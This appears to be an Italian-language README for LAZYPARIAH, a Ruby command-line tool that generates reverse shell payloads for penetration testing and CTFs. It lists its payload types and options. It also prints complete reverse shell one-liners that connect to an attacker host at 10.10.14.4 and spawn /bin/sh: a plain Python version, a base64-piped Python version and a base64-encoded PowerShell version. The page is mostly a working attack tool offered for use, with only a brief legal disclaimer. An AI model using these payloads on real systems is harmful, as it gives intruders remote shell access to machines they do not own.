
Strumento per generare payload di reverse shell al volo.
Uno strumento da riga di comando a bassa dipendenza per generare payload di reverse shell al volo.
LAZYPARIAH è uno strumento da riga di comando semplice e facilmente installabile scritto in puro Ruby che può essere utilizzato durante test di penetrazione e competizioni capture-the-flag (CTF) per generare una gamma di payload di reverse shell al volo.
I payload di reverse shell supportati da LAZYPARIAH includono (ma non sono limitati a):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem(): php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tagsQuesto strumento è destinato ad essere utilizzato solo in circostanze autorizzate da tester di penetrazione qualificati, ricercatori di sicurezza e professionisti del red team. Prima di scaricare, installare o utilizzare questo strumento, assicurati di comprendere le leggi pertinenti nella tua giurisdizione. L'autore di questo strumento non approva, incoraggia o giustifica l'uso di questo strumento per scopi illegali o non autorizzati.
java_class.)c_binary.)rust_binary.)LAZYPARIAH può essere installato sulla maggior parte dei sistemi GNU/Linux e BSD utilizzando l'installer RubyGems come segue:
gem install lazypariah
Usage: lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python_b64 10.10.14.4 1555
Example: lazypariah python_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Valid Options:
-h, --help Display help text and exit.
-l, --license Display license information and exit.
-u, --url URL-encode the payload.
-v, --version Display version information and exit.
-D, --fd INTEGER Specify the file descriptor used by the target for TCP. Required for certain payloads.
-P, --pv INTEGER Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.
-N, --no-new-line Do not append a new-line character to the end of the payload.
--b64 Encode a c_binary, rust_binary or java_class payload in base-64.
--hex Encode a c_binary, rust_binary or java_class payload in hexadecimal.
--gzip Compress a c_binary, rust_binary or java_class payload using zlib.
--gzip_b64 Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.
--gzip_hex Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.
I payload elencati sopra sono più o meno nominati sistematicamente.
I payload che terminano con _c sono destinati ad essere eseguiti da una sessione shell. Questi payload eseguono codice direttamente utilizzando l'interprete pertinente (ad es. python3 -c o ruby -e).
Ad esempio, il comando lazypariah python_c 10.10.14.4 1337 dovrebbe produrre il seguente output:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Il comando lazypariah python 10.10.14.4 1337, d'altra parte, dovrebbe semplicemente produrre un blocco di codice Python che potrebbe potenzialmente essere inserito in un file .py:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
In generale, selezionare payload che terminano con _b64 dovrebbe produrre un comando destinato ad essere eseguito da una sessione shell in modo simile ai payload che terminano con _c, ma i comandi saranno diversi nella struttura. Questi comandi essenzialmente passeranno un blocco di codice codificato in base64 attraverso base64 -d e poi attraverso l'interprete pertinente (come python3, python2 o ruby).
Ad esempio, il comando lazypariah python_b64 10.10.14.4 1337 dovrebbe produrre il seguente output:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
L'eccezione a questo è powershell_b64, che utilizza il decoder base64 integrato di Powershell. Il comando lazypariah powershell_b64 10.10.14.4 1337, ad esempio, dovrebbe restituire il seguente:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(Nota: La lunghezza del payload sopra è dovuta al fatto che Powershell utilizza la codifica UTF-16LE, dove un singolo carattere corrisponde a due byte.)
Questi tipi di payload possono essere utili in determinate situazioni perché non includono virgolette singole o doppie.